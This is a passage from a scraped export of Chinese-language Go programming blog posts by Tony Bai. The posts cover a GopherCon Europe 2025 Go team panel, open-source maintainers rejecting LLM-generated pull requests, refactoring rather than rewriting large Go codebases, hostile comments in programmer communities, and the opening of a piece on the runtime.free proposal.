等动态语言迁移而来，享受到了数十倍的性能提升，对现状非常满意。 另一端是要求极致性能的用户：大厂在海量部署下，对性能的渴求永无止境，任何微小的优化都能带来巨大的成本节约。 Go 团队的性能优化工作，主要聚焦于服务后一类用户，例如 json/v2、新的 map 实现以及 Green Tea GC。\n安全：API 优于“模式开关” 对于“能否为 Go 增加一个‘高安全模式’开关”的问题，团队更倾向于通过改进 API 来解决安全问题。\n**Damien ** 提到，一个可能的方向是为 net/http 包增加一个“高安全服务器”标志，该标志将启用一系列更安全的默认配置（例如，更严格的超时），以修正十年前设定的一些已过时的默认值。 Michael Stapelberg 补充道，Go 已经提供了像 os.ReadDirFS 这样更安全的路径遍历 API，并且 Go 程序与 Seccomp、Landlock 等 Linux 沙箱技术能很好地集成。从 API 和系统层面入手，是比引入一个全局的、模糊的“安全模式”更精细、更合理的做法。 io_uring：令人兴奋但为时过早 对于 Linux 下备受瞩的 io_uring，Michael Stapelberg 表达了谨慎的乐观。他承认 io_uring 性能惊人，但其复杂的 API 和过去暴露出的严重安全问题，使得 Google 内部服务器完全禁用了该功能。他认为，在它变得更成熟、更安全之前，考虑将其大规模引入 Go 还为时过早。此外，Michael Pratt 补充说，Go 的运行时和调度器已经通过 goroutine 隐藏了大部分 I/O 异步的复杂性，因此 io_uring 能带来的部分核心优势，Go 已经通过不同的方式实现了。\nGo 作为 DevOps 脚本语言 当被问及 Go 能否取代 Python 成为 DevOps 脚本语言时，团队成员们几乎异口同声地表示：“在 Google 内部，这已经发生了。” Michael Stapelberg 分享说，他自己现在会避免编写任何中等复杂度的 shell 脚本，而是直接从 Go 开始，因为 Go 的强类型和工程化能力，能避免脚本在变复杂后迅速变得难以维护。\n小结：一个务实、专注且充满活力的 Go 这场座谈会向我们展示了一个成熟、务实的 Go 团队。他们不再试图让 Go 成为解决所有问题的“瑞士军刀”，而是更加专注于其核心优势：简洁性、高性能、以及在构建大规模、高可靠性生产系统方面的卓越能力。\n他们愿意为了保持语言的长期健康而对一些“美好”的功能说“不”，也乐于承认在某些领域的探索（如错误处理冗余）已经走到了尽头。但与此同时，他们也在积极地拥抱新的机遇（如 AI 生产化），并从底层（GC、运行时）不断地进行着深刻的、影响深远的优化。\n正如 Michael Stapelberg 所言，Go 社区是如此强大和自给自足，以至于团队的参与有时并非决定性的。这或许是对 Go 这门语言及其社区生态成熟度的最高赞誉。\n视频链接：https://www.youtube.com/watch?v=etl1Z8T4B9g\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/22/go-team-gave-up-on-features/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-team-gave-up-on-features-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/22/go-team-gave-up-on-features\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/22/go-team-gave-up-on-features\"\u003ehttps://tonybai.com/2025/09/22/go-team-gave-up-on-features\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 GopherCon Europe 2025 的 Go 团队座谈会上，\u003ca href=\"https://github.com/stapelberg\"\u003eMichael Stapelberg(负责go protobuf)\u003c/a\u003e、\u003ca href=\"https://github.com/neild\"\u003eDamien Neil(负责Go安全相关)\u003c/a\u003e、\u003ca href=\"https://github.com/prattmic\"\u003eMichael Pratt(负责Go运行时和Go性能相关)\u003c/a\u003e 和 \u003ca href=\"https://github.com/jba\"\u003eJonathan Amsterdam(log/slog作者，负责Go工具相关)\u003c/a\u003e 四位核心成员与社区进行了\u003ca href=\"https://www.youtube.com/watch?v=etl1Z8T4B9g\"\u003e一场坦诚的对话\u003c/a\u003e。他们不仅分享了诸如\u003ca href=\"https://tonybai.com/2025/07/10/mcp-official-go-sdk\"\u003e官方 MCP SDK\u003c/a\u003e、\u003ca href=\"https://tonybai.com/2025/05/13/goos-none-proposal\"\u003e“裸金属”Go\u003c/a\u003e 等激动人心的进展，更以一种罕见的坦率，正面回应了社区长期以来关心的多个“老大难”问题——包括不可变类型、泛型错误处理和非 nil 指针。其中最引人注目的一句“我们放弃了”，几乎为 Go 语言在某些方向上的演进画上了句号。\u003c/p\u003e","title":"“我们放弃了”——Go 团队坦诚布公，聊聊那些可能永远不会加入 Go 的功能"},{"content":"面对“好主意”，为何开源项目的维护者必须学会说“不”？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n面对“好主意”，为何开源项目的维护者必须学会说“不”？ 九月 21, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/09/21/why-maintainers-should-say-no-to-good-idea\n大家好，我是Tony Bai。\n维护一个开源项目，最难的部分往往不是修复 bug 或实现新功能，而是对一个设计精良、技术上无懈可击的“好主意”说“不”。Prefect 和 FastMCP 的创始人 Jeremiah Lowin 最近发表了一篇深刻的文章，探讨了这种看似“不近人情”的行为背后的管理哲学。他指出，项目的成功最终取决于其愿景的连贯性，而非功能的堆砌。在 LLM 让代码变得“廉价”的今天，这种对项目“灵魂”的守护变得比以往任何时候都更加重要。\n这篇文章让我产生了强烈的共鸣。近期，当我在维护自己的一个小工具类开源项目 bigwhite/issue2md 时，也遇到了类似的抉择：一个国外开发者提交了一个由Gemini cli实现的功能完备的 PR，但我最终还是选择了拒绝。那一刻，我深切地体会到了 Lowin 所描述的、作为维护者的艰难与责任。\n一个看似完美的“好主意”，为何可能成为项目的“威胁”？Lowin 的文章为我们提供了深刻的答案。在本文中，我们就一起来看看Lowin给出的这一套在 AI 时代下尤为宝贵的实践剧本。\n软件的灵魂：与用户心智模型一致的抽象 文章开篇便引用了 Prefect CTO Chris White 的一句名言：\n“人们选择一个软件，是因为它的抽象与他们的心智模型相符。”\n这正是开源维护者的核心职责：首先，建立并清晰地阐述这个心智模型；然后，不懈地构建反映该模型的软件。\n一个功能，即便在名义上很有用，但如果与项目的“精神”不符，它就可能成为一种威胁。这种威胁的形式多种多样：\n范围失控：为一个 CLI 工具请求增加 GUI。 增加复杂度：为一个用户的利基问题，给所有用户增加维护负担。 破坏一致性：最微妙的，是引入一个与项目既定模式相悖的 API，为未来的用户制造认知失调。 维护者的工作，就是像守护神一样，捍卫项目的灵魂，确保每一次代码的合并都是对项目愿景的增强，而非稀释。\nLLM 时代的新挑战：廉价代码与昂贵的审查 曾几何时，编写代码是一项高成本、高投入的活动。贡献者在投入大量时间之前，通常会先通过 issue 进行讨论，以确保自己的努力不会白费。\n然而，LLM 的出现彻底颠覆了这一模式。代码变得廉价，而讨论和审查变得稀缺。\n作者观察到一种新常态：用户带着一个从未讨论过的、由 LLM 生成的、功能完备的 PR 突然出现。这段代码“能用”，写得也不错，但它是在完全没有项目哲学背景的情况下生成的。它的目标函数是满足单个用户的请求，而不是维护整个项目的愿景。\n这导致了信噪比的急剧下降。一个未经请求的 PR，现在更有可能是一次对低成本贡献的高成本审查。维护者的时间和精力，正被大量“看起来不错”但“感觉不对”的代码所消耗。\n维护者的剧本：如何优雅地拒绝与引导 面对这种新形势，维护者该如何应对？\n1. 明确举证责任 作者强调，举证责任永远在贡献者，而非仓库本身。维护者无需为拒绝一个 PR 寻找借口。相反，可以简单地表示：“我们不确信框架应该为用户承担这项责任。” 如果贡献者希望说服你，那么这种努力对整个社区都是有益的。\n在 FastMCP 项目中，他们尝试过要求“每个 PR 必须关联一个 issue”，结果却适得其反：用户在提交 PR 前一秒，创建一个只有一句话的 issue。这说明，程序化的流程无法替代清晰的沟通和哲学层面的对齐。\n2. 转移维护责任 当一个 PR 被合并时，会发生一次重大的责任转移。未来的 bug、用户困惑、API 不一致性，甚至是后续的功能增强请求，都会落在维护者的肩上。\n对于那些有用但可能不适合核心项目的功能，FastMCP 引入了 contrib 模块作为解决方案。\ncontrib 模块中的功能由其作者全权维护。 不保证与未来版本的项目兼容。 这为那些有价值但“非核心”的想法提供了一个出口，既鼓励了社区贡献，又保护了核心项目的稳定性和一致性。\n3. 用文档作为第一道防线 如何扩展这种管理哲学？答案是文档。清晰的开发者指南和项目宗旨声明，是维护者的第一道防线。它们在贡献者写下第一行代码之前，就阐明了项目的哲学，设定了期望。\n这会形成一个强大的正反馈循环：\n项目的愿景越清晰 → 越能吸引认同该愿景的贡献者 → 他们的贡献强化并完善了愿景 → 进一步证明了项目世界观的正确性。\n结论：今天的“不”，是为了明天热情的“是” Jeremiah Lowin 的分享提醒我们，开源维护远不止于技术。它是一种深思熟虑的、刻意的管理艺术。在 AI 辅助编程日益普及的今天，这种对项目哲学和社区文化的守护显得尤为珍贵。\n作者在文末分享了他在 MCP 委员会会议上的观察。面对这个处于技术炒作风口浪尖的年轻协议，委员会没有被“ appease the loudest voices”（安抚最大声的声音）的压力所淹没，而是始终围绕一个核心问题进行辩论：“这是个好主意。但它属于协议的职责范围吗？”\n这种坚守，正是将一个有用的项目，锤炼成一个伟大项目的必要之功。\n对于所有开源维护者而言，每一次用户的参与都值得庆贺。我们的责任是确保，今天对一个偏离航道的“好主意”说出的**“不”，能够帮助这位贡献者，在未来带着一个与项目愿景完美契合的方案归来时，得到我们由衷的、热情的“是！”**\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/21/why-maintainers-should-say-no-to-good-idea/","summary":"\u003ch1 id=\"面对好主意为何开源项目的维护者必须学会说不---tony-bai\"\u003e面对“好主意”，为何开源项目的维护者必须学会说“不”？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"面对“好主意”，为何开源项目的维护者必须学会说“不”？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/20/refactoring-go-in-large-codebases\n大家好，我是Tony Bai。\n“要不……我们重写吧？”\n在任何一个发展到一定阶段的 Go 项目中，这句话都像一个幽灵，反复出现在技术讨论中。面对一个布满补丁、逻辑盘根错节、维护成本日益高昂的“大泥球” (Big Ball of Mud)，彻底推倒重来的想法总是充满了诱惑。\n然而，这往往是通往灾难的捷径。重写项目常常陷入延期、超出预算、甚至最终失败的泥潭。那么，正确的道路究竟在何方？\n在 GitHub 的软件工程师 Brittany Ellich 最近的一次分享中，她系统性地为大型 Go 项目的维护者提供了一份清晰的实践指南。本文将为你完整呈现这份源自顶级工程团队的宝贵经验。\n核心困境——为何“重写”如此诱人？ 在深入探讨如何重构之前，我们必须先理解“为何不应轻易重写”。推动重写的往往是三个看似合理、实则充满谬误的论点。\n谬误一：“重写会更快” 这是最普遍的错觉。我们往往只看到了系统中那 20% 腐烂的部分，并天真地认为重写它们就是全部工作。但我们忽略了：\n那 80% 仍在正常工作的部分也必须重写。 在重写期间，旧系统仍需维护，团队精力被一分为二。 数据迁移和系统下线本身就是极其复杂且耗时的大型项目。 最终，“快速重写”几乎无一例外地会演变成一场旷日持久的拉锯战。\n谬误二：“这次我们能写出‘干净’的代码” “如果我们从头开始，就能‘做对’。” 这句话听起来无比正确，却忽视了一个残酷的现实：\n“生产应用程序本质上就是混乱的。这是特性，不是 Bug。”\n那些看似丑陋的边界情况，恰恰是多年用户反馈积累下的业务逻辑；那些晦涩的变通方案，是无数次深夜故障排查后沉淀下的组织知识。一个“干净”的重写版本，往往意味着这些宝贵的隐性知识被全部丢弃，你将不得不重新踩一遍所有过去的坑。\n谬误三：“新技术栈能解决我们的问题” “如果我们用 Rust 重写，性能问题就都解决了！” 这是技术驱动的典型陷阱。\n学习一门新技术很容易，但精通它很难。在重写项目中引入一个全新的技术栈，意味着团队将在“学习”和“构建”之间反复横跳，犯下大量新手错误。更明智的做法是，用现有、成熟的技术栈，通过重构解决已知问题，这远比用一门新语言写出同样有问题的代码要高效得多。\n诊断结论：重构，而非重写，是持续改进的唯一路径。正如敏捷宣言早已告诉我们的那样，最好的软件产品源于持续的改进，而非完美的规划。\n系统性重构框架——一套可落地的实践指南 既然重写不可取，我们该如何系统性地对现有 Go 代码库进行“外科手术”？Ellich 提出了一套以**“易读、易测、易改”**为核心原则的实践框架-THINK。\n实践一：建立测试安全网 在修改任何代码之前，第一步永远是建立安全网。如果你的代码库测试覆盖率不足，可以采用 Michael Feathers 在《修改代码的艺术》中提出的**“特性刻画测试” (Characterization Tests)**。这种测试不关心代码的内部逻辑，只关心“给定某种输入，是否能得到预期的输出”，以此锁定现有行为，确保你的重构不会引入新的 Bug。\n实践二：统一错误处理 在 Go 中，错误处理的方式直接影响着应用的整体结构。随着时间的推移，代码库中往往会出现多种错误处理风格：丢失上下文、日志与返回并存的“双重处理”、或是被忽略的“静默失败”。选择一种统一的、规范的错误处理方式（例如，统一使用 fmt.Errorf 配合 %w），并将其应用到整个代码库，是性价比极高的重构起点。记住 Go 的谚语：“错误是值”，像对待普通值一样，认真地对待它们。\n实践三：定义清晰的接口 接口定义了系统的边界。清晰的边界是实现“易测”和“易改”的关键。\n拆分大接口：遵循接口隔离原则，将臃肿的大接口拆分成多个专注于单一职责的小接口。这能避免客户端依赖它们不需要的方法，并极大地简化 mock 的编写。\n警惕 any (interface{})：除非在序列化等少数场景，否则应避免使用空接口。明确的类型是 Go 静态类型优势的体现，它能在编译期而非运行时发现错误。\n实践四：收窄与解耦依赖 紧耦合是代码变得难以修改的根源。\n使用依赖注入 (Dependency Injection)：不要在业务逻辑函数中直接创建数据库连接等外部依赖。通过函数参数或结构体字段将依赖（最好是接口）注入进来，能让单元测试摆脱对真实外部环境的依赖。 分离关注点：避免在整个应用中传递一个混合了 API、数据库、验证逻辑的“全能”模型(用户数据结构)。在应用的不同层（API 层、数据层）定义各自所需的、职责单一的模型，能让各层的修改互不影响。 外部化业务规则：将易变的业务逻辑（如折扣计算、计费规则）从代码中剥离，交由配置或独立的规则引擎服务管理。这样，当业务规则变更时，无需工程师介入修改代码和重新部署。 实践五：坚持持续改进 不要寄希望于“重构冲刺周”或“技术债偿还日”。这些形式化的活动往往收效甚微。最好的策略，是在日常的功能开发中，持续、小步地进行重构。这正是“童子军军规”——“让营地比你来时更干净”——在软件开发中的体现。\n优先级规划——如何决定重构的起点？ 重构任务千头万绪，如何选择最有价值的切入点？Ellich 提供了一个简单而高效的**“影响力-费力” (Impact-Effort) 矩阵**。\n第一优先级：高影响，低费力 (Quick Wins) 这些是“速效成果”。例如，为关键路径的错误信息添加上下文、将硬编码的常量提取到配置中、用具体类型替换空接口等。这些改动风险低，见效快，能迅速提升代码质量和团队信心。\n第二优先级：高影响，高费力 (Major Projects) 这些是需要严肃对待的“大型项目”。例如，拆分核心模块的大接口、标准化整个代码库的错误处理、分离紧耦合的核心模型等。这些任务需要被当做正式的功能需求来规划和排期，它们能从根本上改善系统健康状况。\n第三优先级：低影响 (Ignore for now) 任何低影响的工作，无论费力与否，都应该被有意识地忽略。避免团队将宝贵的精力浪费在价值不大的事情上，直到它们有朝一日变成了高影响的问题。\n现代助推器——让 AI 成为你的重构伙伴 过去，“持续重构”说起来容易做起来难，因为它会挤占开发新功能的时间。但现在，AI 编码助手（如 GitHub Copilot Agent）正在改变游戏规则。\nEllich 分享了她的团队如何利用 AI 来处理那些“重要但不紧急”的重构任务，让它们不再堆积在积压列表 (Backlog) 中直至腐烂：\n提升测试覆盖率：给 AI 一个明确的指令（“为 lib/services 目录下未被覆盖的路径创建表驱动测试”），它可以快速生成高质量的测试用例。 标准化代码模式：提供一个代码片段作为范例（“使用这种新的错误处理方式，并将其应用到 lib/services 目录下的所有文件中”），AI 可以在整个代码库中系统性地推行这一模式。 迁移技术方案：创建一个小型的、人工完成的 PR 作为示例（“参照这个 PR，将项目中所有旧的 mocking 库替换为新库”），然后让 AI 将这个变更应用到所有相关文件中。 AI 的出现，让“持续处理技术债”的成本被前所未有地降低。它使我们终于有能力在交付新功能的同时，系统性地改善代码库的健康状况。\n小结 通往优秀软件的道路上没有银弹，更没有一蹴而就的“重写”。真正的秘诀，在于日复一日、持之以恒的改进。通过这套系统性的重构框架、清晰的优先级判断，以及现代 AI 工具的辅助，我们可以将维护大型 Go 代码库这项艰巨的任务，转变为一种可持续、有回报的工程实践。\n资料链接：https://www.youtube.com/watch?v=fhlnan0dSUE\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/20/refactoring-go-in-large-codebases/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/refactoring-go-in-large-codebases-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/20/refactoring-go-in-large-codebases\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/20/refactoring-go-in-large-codebases\"\u003ehttps://tonybai.com/2025/09/20/refactoring-go-in-large-codebases\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“要不……我们重写吧？”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在任何一个发展到一定阶段的 Go 项目中，这句话都像一个幽灵，反复出现在技术讨论中。面对一个布满补丁、逻辑盘根错节、维护成本日益高昂的“大泥球” (\u003ca href=\"https://en.wikipedia.org/wiki/Spaghetti_code#big-ball-o-mud\"\u003eBig Ball of Mud\u003c/a\u003e)，彻底推倒重来的想法总是充满了诱惑。\u003c/p\u003e","title":"重构还是重写？GitHub工程师维护Go大项目的实践指南"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/19/the-tension-in-programmer-comments\n大家好，我是Tony Bai。\n做公众号/博客这些年，我收到了成千上万条来自程序员朋友的评论。绝大多数都充满了智慧、好奇和善意，正是这些交流，构成了我持续分享的最大动力。但与此同时，我也常常在评论区里，感受到一股强烈的、带有攻击性的无形之气。\n比如，当我分享一篇关于Go在业务场景实践的文章时，总会有人跳出来，言简意赅地留下一句：“用Go写业务是不是很垃圾？”\n又比如，当社区在探讨用Rust重构某个C++项目时，评论区可能会出现这样的“高论”：“用Rust重写C++代码，就是从一坨屎变成了另一坨屎。”\n这些评论，往往脏字当头，不带任何论据，纯粹是情绪的宣泄。我思来想去，觉得用“戾气”或“喷子”来形容，似乎都不够精准。直到有一天，一个词蹦进了我的脑海——“煞气”。\n这个词，源于传统文化，意指一种凶戾、非理性、具有破坏性的气场。它精准地捕捉了这类评论的本质：其目的并非交流思想，而是用情绪的冲击波，扼杀讨论，打击分享者的热情。正因如此，我之前公众号的自动精选评论和留言不得不改为手工精选，这不仅增加了工作量，还降低了评论展示的及时性。\n今天，这篇文章不旨在批判，而是想和大家一起，深入地聊一聊程序员评论区里的这股“煞气”，尝试理解它从何而来，并探讨作为技术社区的一员，我们该如何面对它，如何保护我们共同的精神家园。\n“煞气”的百态图鉴：你一定见过的几种典型“煞评” 这股“煞气”并非铁板一块，它以多种面目出现在我们的视野中，总有一种让你觉得似曾相识：\n“一言以蔽之”型 这类评论堪称“断言大师”，从不屑于提供论据，仅用一句话便能给一门语言、一个框架甚至一个技术方向盖棺定论。\n* _“Go就是不行。”_ * _“WebAssembly没前途。”_ * _“微服务就是个坑。”_ 简洁，有力，不容置疑，仿佛掌握了宇宙的终极真理。\n“非黑即白”型（技术圣战） 在他们眼中，技术选型不是基于场景和权衡，而是一场关乎信仰的“圣战”。语言、编辑器、操作系统……万物皆可站队，异端必须被消灭。\n* _“用Rust重写C++就是从一坨屎变成另一坨屎。”_ * _“Vim/Emacs之外皆异端！”_ * _“还在用Windows/Mac开发？笑死。”_ “资格论”与“秀优越”型 这类评论善于通过攻击对方的身份、资历或知识储备，来釜底抽薪式地否定其观点，从而建立自己的优越感。\n* _“你连源码都没读过，凭什么评论？”_ * _“这东西我十年前就玩过了，没什么新意。”_ * _“等你写到百万行代码再来讨论架构吧。”_ “情绪投射”型 这类评论者，往往将自己在工作中因某项技术受挫而产生的负面情绪，无差别地投射到所有相关的公开讨论中，把评论区当成了情绪的垃圾桶。\n* _“我们项目刚被XXX坑惨了，这玩意儿就是个彻头彻尾的垃圾！”_ * _“又在吹这门语言？我刚因为它的GC问题加了三天班！”_ 这些充满“煞气”的评论，像病毒一样侵蚀着技术社区的讨论氛围，让许多乐于分享的创作者心生寒意，也让许多渴望学习的新人望而却步。\n溯源“煞气”：它们究竟从何而来？ 要应对“煞气”，首先要理解它的来源。它并非简单的“素质问题”，背后往往有更深层次的、属于程序员群体的心理动因：\n高认知负荷与挫败感： 软件开发本质上是一项与复杂性搏斗的高难度、高挫败感的工作。代码不工作是常态，被需求反复折磨是日常。长期累积的压力和挫败感，需要一个宣泄的出口，而匿名的网络评论区便成了最廉价的选择。 强身份认同与技术部落主义： 许多程序员倾向于将自我价值与所掌握的技术栈深度绑定。“我是Gopher”、“我是Rustacean”，这种身份认同感带来了归属感，但也催生了“部落主义”。攻击对立的技术，本质上是在捍卫自我身份和所属部落的“荣耀”。 对“最优解”的执念与抽象能力的差异： 我们的工作是与逻辑打交道，追求严谨和正确，这使得许多程序员潜意识里相信存在一个放之四海而皆准的“最优解”。这种思维惯性，导致在面对需要权衡（Trade-off）的工程问题时，容易陷入“非黑即白”的二元对立，无法容忍不同场景下的不同选择。 知识的诅咒： 一些资深开发者，已经忘记了自己初学时期的困惑和挣扎。他们对自己领域内“显而易见”的知识缺乏同理心，容易将新手的提问或不成熟的观点视为“愚蠢”，并报以轻蔑或不耐烦。 网络匿名性的放大效应： 这是所有网络社区的通病。脱离了现实世界的社交约束，人们更容易释放出内心的攻击性。 化解“煞气”：我们每个人的社区修行 面对弥漫的“煞气”，无论是内容创作者还是普通读者，我们每个人都身处其中，既可能是受害者，也可能在不经意间成为助推者。与其抱怨环境，不如从自身做起，共同参与到社区的净化与建设中来。\n给所有社区参与者的“修行建议”：\n评论前，区分“观点”与“情绪”： 在敲下键盘前，花一秒钟审视内心：我即将表达的，是基于逻辑和事实的技术观点，还是仅仅是想吐槽一下今天遇到的某个Bug或者糟糕的心情？有意识地分离这两者，是理性讨论的第一步。 拥抱“建设性批评”的艺术： 如果你不同意某个观点，这非常正常，甚至是技术进步的源泉。但请尝试用建设性的方式来表达： * 提供论据： “我认为这个方案有风险，因为在XX场景下，它可能会导致YY问题。” * 提供替代方案： “相比A方案，我更推荐B方案，因为B在处理XX方面更有优势。” * 补充上下文： “这个观点在小型项目中可能适用，但在大规模分布式系统中，我们需要额外考虑……” 这样的评论，远比一句简单的“你这是垃圾”有价值千万倍。\n常怀谦逊与同理心： 技术世界浩瀚无垠，我们每个人都只是其中渺小的一粟。承认自己知识的局限性，尊重不同技术在不同场景下的存在价值。我们今天所不屑的，可能正是我们昨天所困惑的；我们今天所熟稔的，可能是别人明天将要探索的新大陆。多一份同理心，少一份优越感。 小结：化“煞气”为“祥和之气”，共建更有价值的技术社区 回到开头的那些评论。Go写业务当然不是垃圾，Rust重写C++也绝非原地踏步。每一种技术选择背后，都有其复杂的工程背景和权衡考量。一个健康的技术社区，应该是一个能够容纳并理性探讨这些权衡的地方。\n我们探讨“程序员的‘煞气’”，目标不是消灭所有反对的声音，健康的质疑和辩论是技术进步的基石。我们的目标，是希望将那些无意义的、纯粹消耗热情的情绪宣泄，转化为能够推动我们共同进步的思想碰撞。\n这需要我们每一位社区参与者的共同努力：分享者多一份对人性的理解和对经验的珍视，评论者多一份理性和建设性的态度。\n愿我们都能成为驱散“煞气”的光，让技术社区的每一次讨论，都离智慧更近一步。\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/19/the-tension-in-programmer-comments/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/the-tension-in-programmer-comments-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/19/the-tension-in-programmer-comments\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/19/the-tension-in-programmer-comments\"\u003ehttps://tonybai.com/2025/09/19/the-tension-in-programmer-comments\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e做公众号/博客这些年，我收到了成千上万条来自程序员朋友的评论。绝大多数都充满了智慧、好奇和善意，正是这些交流，构成了我持续分享的最大动力。但与此同时，我也常常在评论区里，感受到一股强烈的、带有攻击性的无形之气。\u003c/p\u003e","title":"Go写业务是垃圾？Rust重写是坨屎？聊聊程序员评论区里的那股“煞气”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/18/go-runtime-free-proposal\n大家好，我是Tony Bai。\nGo 的垃圾收集器（GC）是其简单性和并发安全性的基石，但也一直是性能优化的焦点。近年来，Go 核心团队为了进一步降低 GC 开销，进行了一系列前沿探索：从备受争议的arena 实验，到更优雅但实现复杂的 memory regions构想，最终，焦点似乎汇聚在了一项更务实、更具潜力的提案上——runtime.free。这项编号为 #74299 的实验性提案，正试图为 Go 的内存管理引入一个革命性的新维度：允许编译器和部分标准库在特定安全场景下，绕过 GC，直接释放和重用内存。其原型已在 strings.Builder 等场景中展现出高达 2 倍的性能提升。\n本文将带着大家一起回顾 Go 内存管理的这段探索之旅，并初步剖析一下 runtime.free 提案的背景、核心机制及其对 Go 